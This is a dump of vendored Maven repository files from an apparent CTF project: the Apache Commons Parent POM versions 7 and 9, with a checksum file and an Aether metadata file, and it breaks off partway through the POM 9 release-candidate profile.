    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/7/commons-parent-7.pom",
    "content": "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!--\n\n   Licensed to the Apache Software Foundation (ASF) under one or more\n   contributor license agreements.  See the NOTICE file distributed with\n   this work for additional information regarding copyright ownership.\n   The ASF licenses this file to You under the Apache License, Version 2.0\n   (the \"License\"); you may not use this file except in compliance with\n   the License.  You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>org.apache</groupId>\n    <artifactId>apache</artifactId>\n    <version>4</version>\n  </parent>\n  <groupId>org.apache.commons</groupId>\n  <artifactId>commons-parent</artifactId>\n  <packaging>pom</packaging>\n  <!-- TODO: dummy version. In Maven 2.1, this will be auto-versioned being a generic parent -->\n  <version>7</version>\n  <name>Commons Parent</name>\n  <url>http://commons.apache.org/</url>\n  <inceptionYear>2001</inceptionYear>\n\n  <ciManagement>\n    <system>continuum</system>\n    <url>http://vmbuild.apache.org/continuum/</url>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>dev@commons.apache.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n\n  <distributionManagement>\n    <!--\n      This POM's parent POM (the Apache root POM) provides repositories. Unfortunately,\n      this allows for accidental deployments. So we disable them here by providing\n      a dummy repository. Use \"mvn -Prc deploy\" (Apache snapshot repository) or\n      \"mvn -Prelease deploy\" (Apache release repository), if you really want to deploy.\n    -->\n    <repository>\n      <id>dummy</id>\n      <name>Dummy to avoid accidental deploys</name>\n      <url />\n    </repository>\n  </distributionManagement>\n\n  <!--\n    This section *must* be overwritten by subprojects. It is only to allow\n    a release of the commons-parent POM.\n  -->\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-7</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-7</developerConnection>\n    <url>http://svn.apache.org/viewvc/commons/proper/commons-parent/tags/commons-parent-7</url>\n  </scm>\n\n  <mailingLists>\n    <mailingList>\n      <name>Commons Commits List</name>\n      <subscribe>commits-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@commons.apache.org</unsubscribe>\n      <post>commits@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-commits/</archive>\n      <otherArchives>\n        <otherArchive>http://commons.markmail.org/search/list:org.apache.commons.commits</otherArchive>\n        <otherArchive>http://www.mail-archive.com/commits@commons.apache.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Dev List</name>\n      <subscribe>dev-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@commons.apache.org</unsubscribe>\n      <post>dev@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-dev/</archive>\n      <otherArchives>\n        <otherArchive>http://commons.markmail.org/search/list:org.apache.commons.dev</otherArchive>\n        <otherArchive>http://www.nabble.com/Commons---Dev-f317.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/dev@commons.apache.org/</otherArchive>\n        <otherArchive>http://news.gmane.org/gmane.comp.jakarta.commons.devel</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Issues List</name>\n      <subscribe>issues-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@commons.apache.org</unsubscribe>\n      <post>issues@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://commons.markmail.org/search/list:org.apache.commons.issues</otherArchive>\n        <otherArchive>http://www.nabble.com/Commons---Issues-f25499.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/issues@commons.apache.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons User List</name>\n      <subscribe>user-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>user-unsubscribe@commons.apache.org</unsubscribe>\n      <post>user@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-user/</archive>\n      <otherArchives>\n        <otherArchive>http://commons.markmail.org/search/list:org.apache.commons.user</otherArchive>\n        <otherArchive>http://www.nabble.com/Commons---User-f319.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/user@commons.apache.org/</otherArchive>\n        <otherArchive>http://news.gmane.org/gmane.comp.jakarta.commons.user</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n  <build>\n    <resources>\n      <resource>\n        <directory>${basedir}</directory>\n        <targetPath>META-INF</targetPath>\n        <includes>\n          <include>NOTICE.txt</include>\n          <include>LICENSE.txt</include>\n        </includes>\n      </resource>\n    </resources>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.0-alpha-3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.0.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.2-beta-1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0-beta-7</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.1</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <!-- TODO: later use toolchain support to do compilation on an external JDK 1.3+ compiler -->\n      <plugin>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <source>${maven.compile.source}</source>\n          <target>${maven.compile.target}</target>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-jar-plugin</artifactId>\n        <configuration>\n          <archive>\n            <manifestEntries>\n              <Specification-Title>${project.name}</Specification-Title>\n              <Specification-Version>${project.version}</Specification-Version>\n              <Specification-Vendor>${project.organization.name}</Specification-Vendor>\n              <Implementation-Title>${project.name}</Implementation-Title>\n              <Implementation-Version>${project.version}</Implementation-Version>\n              <Implementation-Vendor>${project.organization.name}</Implementation-Vendor>\n              <Implementation-Vendor-Id>org.apache</Implementation-Vendor-Id>\n              <X-Compile-Source-JDK>${maven.compile.source}</X-Compile-Source-JDK>\n              <X-Compile-Target-JDK>${maven.compile.target}</X-Compile-Target-JDK>\n            </manifestEntries>\n          </archive>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-idea-plugin</artifactId>\n        <configuration>\n          <jdkLevel>${maven.compile.source}</jdkLevel>\n        </configuration>\n      </plugin>\n      <plugin>\n        <!--\n          - Copy LICENSE.txt and NOTICE.txt so that they are included\n          - in the -javadoc jar file for the component.\n          -->\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-antrun-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>javadoc.resources</id>\n            <phase>generate-sources</phase>\n            <goals>\n              <goal>run</goal>\n            </goals>\n            <configuration>\n              <tasks>\n                <copy todir=\"${project.build.directory}/apidocs/META-INF\">\n                  <fileset dir=\"${basedir}\">\n                    <include name=\"LICENSE.txt\" />\n                    <include name=\"NOTICE.txt\" />\n                  </fileset>\n                </copy>\n              </tasks>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <version>2.3</version>\n        <configuration> \n          <aggregate>true</aggregate>\n          <source>${maven.compile.source}</source>\n        </configuration> \n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jxr-plugin</artifactId>\n        <version>2.1</version>\n        <configuration> \n          <aggregate>true</aggregate>\n        </configuration> \n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-site-plugin</artifactId>\n        <version>2.0-beta-6</version>\n        <configuration>\n          <!-- Exclude the navigation file for Maven 1 sites\n               and the changes file used by the changes-plugin,\n               as they interfere with the site generation. -->\n          <moduleExcludes>\n            <xdoc>navigation.xml,changes.xml</xdoc>\n          </moduleExcludes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-report-plugin</artifactId>\n        <version>2.3</version>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>jdepend-maven-plugin</artifactId>\n        <version>2.0-beta-1</version>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>rat-maven-plugin</artifactId>\n        <version>1.0-alpha-3</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>ci</id>\n      <distributionManagement>\n        <repository>\n          <id>apache.snapshots</id>\n          <name>Apache Development Snapshot Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n        </repository>\n        <snapshotRepository>\n          <id>apache.snapshots</id>\n          <name>Apache Development Snapshot Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n        </snapshotRepository>\n      </distributionManagement>\n    </profile>\n\n    <profile>\n      <id>release</id>\n      <distributionManagement>\n        <repository>\n          <id>apache.releases</id>\n          <name>Apache Release Distribution Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-ibiblio-rsync-repository</url>\n        </repository>\n      </distributionManagement>\n      <build>\n        <plugins>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-source-jar</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-release-plugin</artifactId>\n            <configuration>\n              <!-- Pass these arguments to the deploy plugin. -->\n              <arguments>-Prelease</arguments>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-javadoc-jar</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n                <configuration>\n                  <source>${maven.compile.source}</source>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n    <profile>\n      <id>rc</id>\n      <distributionManagement>\n        <repository>\n          <id>apache.snapshots</id>\n          <name>Apache Development Snapshot Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n        </repository>\n        <snapshotRepository>\n          <id>apache.snapshots</id>\n          <name>Apache Development Snapshot Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n        </snapshotRepository>\n      </distributionManagement>\n      <build>\n        <plugins>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-source-jar</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-release-plugin</artifactId>\n            <configuration>\n              <!-- Pass these arguments to the deploy plugin. -->\n              <arguments>-Prc</arguments>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-javadoc-jar</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n                <configuration>\n                  <source>${maven.compile.source}</source>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n\n  <properties>\n\n    <!-- Default configuration for compiler source and target JVM -->\n    <maven.compile.source>1.3</maven.compile.source>\n    <maven.compile.target>1.3</maven.compile.target>\n\n    <!--\n      Make the deployment protocol pluggable. This allows to switch to\n      other protocols like scpexe, which some users prefer over scp.\n    -->\n    <commons.deployment.protocol>scp</commons.deployment.protocol>\n\n  </properties>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/7/commons-parent-7.pom.sha1",
    "content": "95db361d9db1474346b2bde93e5402281909144c"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/9/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:00:48 CST 2018\ncommons-parent-9.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/9/commons-parent-9.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>org.apache</groupId>\n    <artifactId>apache</artifactId>\n    <version>4</version>\n  </parent>\n  <groupId>org.apache.commons</groupId>\n  <artifactId>commons-parent</artifactId>\n  <packaging>pom</packaging>\n  <!-- TODO: dummy version. In Maven 2.1, this will be auto-versioned being a generic parent -->\n  <version>9</version>\n  <name>Commons Parent</name>\n  <url>http://commons.apache.org/</url>\n  <inceptionYear>2001</inceptionYear>\n\n  <ciManagement>\n    <system>continuum</system>\n    <url>http://vmbuild.apache.org/continuum/</url>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>dev@commons.apache.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n\n  <distributionManagement>\n    <!--\n      This POM's parent POM (the Apache root POM) provides repositories. Unfortunately,\n      this allows for accidental deployments. So we disable them here by providing\n      a dummy repository. Use \"mvn -Prc deploy\" (Apache snapshot repository) or\n      \"mvn -Prelease deploy\" (Apache release repository), if you really want to deploy.\n    -->\n    <repository>\n      <id>dummy</id>\n      <name>Dummy to avoid accidental deploys</name>\n      <url />\n    </repository>\n  </distributionManagement>\n\n  <!--\n    This section *must* be overwritten by subprojects. It is only to allow\n    a release of the commons-parent POM.\n  -->\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-9</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-9</developerConnection>\n    <url>http://svn.apache.org/viewvc/commons/proper/commons-parent/tags/commons-parent-9</url>\n  </scm>\n\n  <mailingLists>\n    <mailingList>\n      <name>Commons User List</name>\n      <subscribe>user-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>user-unsubscribe@commons.apache.org</unsubscribe>\n      <post>user@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-user/</archive>\n      <otherArchives>\n        <otherArchive>http://commons.markmail.org/search/list:org.apache.commons.user</otherArchive>\n        <otherArchive>http://www.nabble.com/Commons---User-f319.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/user@commons.apache.org/</otherArchive>\n        <otherArchive>http://news.gmane.org/gmane.comp.jakarta.commons.user</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Dev List</name>\n      <subscribe>dev-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@commons.apache.org</unsubscribe>\n      <post>dev@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-dev/</archive>\n      <otherArchives>\n        <otherArchive>http://commons.markmail.org/search/list:org.apache.commons.dev</otherArchive>\n        <otherArchive>http://www.nabble.com/Commons---Dev-f317.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/dev@commons.apache.org/</otherArchive>\n        <otherArchive>http://news.gmane.org/gmane.comp.jakarta.commons.devel</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Issues List</name>\n      <subscribe>issues-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@commons.apache.org</unsubscribe>\n      <post>issues@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://commons.markmail.org/search/list:org.apache.commons.issues</otherArchive>\n        <otherArchive>http://www.nabble.com/Commons---Issues-f25499.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/issues@commons.apache.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Commits List</name>\n      <subscribe>commits-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@commons.apache.org</unsubscribe>\n      <post>commits@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-commits/</archive>\n      <otherArchives>\n        <otherArchive>http://commons.markmail.org/search/list:org.apache.commons.commits</otherArchive>\n        <otherArchive>http://www.mail-archive.com/commits@commons.apache.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n  <build>\n    <resources>\n      <resource>\n        <directory>${basedir}</directory>\n        <targetPath>META-INF</targetPath>\n        <includes>\n          <include>NOTICE.txt</include>\n          <include>LICENSE.txt</include>\n        </includes>\n      </resource>\n    </resources>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.0-alpha-3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.0.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.4.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.2-beta-1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0-beta-7</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.3</version>\n          <configuration>\n            <encoding>${commons.encoding}</encoding>\n            <docEncoding>${commons.docEncoding}</docEncoding>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.0.2</version>\n          <configuration>\n            <source>${maven.compile.source}</source>\n            <target>${maven.compile.target}</target>\n            <encoding>${commons.encoding}</encoding>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.felix</groupId>\n          <artifactId>maven-bundle-plugin</artifactId>\n          <version>1.4.0</version>\n          <inherited>true</inherited>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.commons</groupId>\n          <artifactId>commons-build-plugin</artifactId>\n          <version>1.0</version>\n          <configuration>\n            <commons.release.name>${commons.release.name}</commons.release.name>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <!-- TODO: later use toolchain support to do compilation on an external JDK 1.3+ compiler -->\n      <plugin>\n        <artifactId>maven-compiler-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <artifactId>maven-jar-plugin</artifactId>\n        <configuration>\n          <archive>\n            <manifestFile>${commons.manifestfile}</manifestFile>\n            <manifestEntries>\n              <Specification-Title>${project.name}</Specification-Title>\n              <Specification-Version>${project.version}</Specification-Version>\n              <Specification-Vendor>${project.organization.name}</Specification-Vendor>\n              <Implementation-Title>${project.name}</Implementation-Title>\n              <Implementation-Version>${project.version}</Implementation-Version>\n              <Implementation-Vendor>${project.organization.name}</Implementation-Vendor>\n              <Implementation-Vendor-Id>org.apache</Implementation-Vendor-Id>\n              <X-Compile-Source-JDK>${maven.compile.source}</X-Compile-Source-JDK>\n              <X-Compile-Target-JDK>${maven.compile.target}</X-Compile-Target-JDK>\n            </manifestEntries>\n          </archive>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.felix</groupId>\n        <artifactId>maven-bundle-plugin</artifactId>\n        <configuration>\n          <excludeDependencies>true</excludeDependencies>\n          <manifestLocation>target/osgi</manifestLocation>\n          <instructions>\n            <!-- stops the \"uses\" clauses being added to \"Export-Package\" manifest entry -->\n            <_nouses>true</_nouses>\n            <Bundle-SymbolicName>${commons.osgi.symbolicName}</Bundle-SymbolicName>\n            <Export-Package>${commons.osgi.export}</Export-Package>\n            <Private-Package>${commons.osgi.private}</Private-Package>\n            <Import-Package>${commons.osgi.import}</Import-Package>\n            <DynamicImport-Package>${commons.osgi.dynamicImport}</DynamicImport-Package>\n            <Bundle-DocURL>${project.url}</Bundle-DocURL>\n          </instructions>\n        </configuration>\n        <executions>\n          <execution>\n            <id>bundle-manifest</id>\n            <phase>process-classes</phase>\n            <goals>\n              <goal>manifest</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <artifactId>maven-idea-plugin</artifactId>\n        <configuration>\n          <jdkLevel>${maven.compile.source}</jdkLevel>\n        </configuration>\n      </plugin>\n      <plugin>\n        <!--\n          - Copy LICENSE.txt and NOTICE.txt so that they are included\n          - in the -javadoc jar file for the component.\n          -->\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-antrun-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>javadoc.resources</id>\n            <phase>generate-sources</phase>\n            <goals>\n              <goal>run</goal>\n            </goals>\n            <configuration>\n              <tasks>\n                <copy todir=\"${project.build.directory}/apidocs/META-INF\">\n                  <fileset dir=\"${basedir}\">\n                    <include name=\"LICENSE.txt\" />\n                    <include name=\"NOTICE.txt\" />\n                  </fileset>\n                </copy>\n              </tasks>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.commons</groupId>\n        <artifactId>commons-build-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.0.1</version>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <version>2.3</version>\n        <configuration> \n          <aggregate>true</aggregate>\n          <source>${maven.compile.source}</source>\n          <encoding>${commons.encoding}</encoding>\n          <docEncoding>${commons.docEncoding}</docEncoding>\n        </configuration> \n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jxr-plugin</artifactId>\n        <version>2.1</version>\n        <configuration> \n          <aggregate>true</aggregate>\n        </configuration> \n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-site-plugin</artifactId>\n        <version>2.0-beta-6</version>\n        <configuration>\n          <!-- Exclude the navigation file for Maven 1 sites\n               and the changes file used by the changes-plugin,\n               as they interfere with the site generation. -->\n          <moduleExcludes>\n            <xdoc>navigation.xml,changes.xml</xdoc>\n          </moduleExcludes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-report-plugin</artifactId>\n        <version>2.4.2</version>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>jdepend-maven-plugin</artifactId>\n        <version>2.0-beta-1</version>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>rat-maven-plugin</artifactId>\n        <version>1.0-alpha-3</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>ci</id>\n      <distributionManagement>\n        <repository>\n          <id>apache.snapshots</id>\n          <name>Apache Development Snapshot Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n        </repository>\n        <snapshotRepository>\n          <id>apache.snapshots</id>\n          <name>Apache Development Snapshot Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n        </snapshotRepository>\n      </distributionManagement>\n    </profile>\n\n    <profile>\n      <id>release</id>\n      <distributionManagement>\n        <repository>\n          <id>apache.releases</id>\n          <name>Apache Release Distribution Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-ibiblio-rsync-repository</url>\n        </repository>\n      </distributionManagement>\n      <build>\n        <plugins>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-install-plugin</artifactId>\n            <configuration>\n              <createChecksum>true</createChecksum>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-source-jar</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-release-plugin</artifactId>\n            <configuration>\n              <!-- Pass these arguments to the deploy plugin. -->\n              <arguments>-Prelease</arguments>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-javadoc-jar</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n                <phase>package</phase>\n                <configuration>\n                  <source>${maven.compile.source}</source>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n    <profile>\n      <id>rc</id>\n      <distributionManagement>\n        <repository>\n          <id>apache.snapshots</id>\n          <name>Apache Development Snapshot Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n        </repository>\n        <snapshotRepository>\n          <id>apache.snapshots</id>\n          <name>Apache Development Snapshot Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n        </snapshotRepository>\n      </distributionManagement>\n      <build>\n        <plugins>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-install-plugin</artifactId>\n            <configuration>\n              <createChecksum>true</createChecksum>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-site-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>site</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            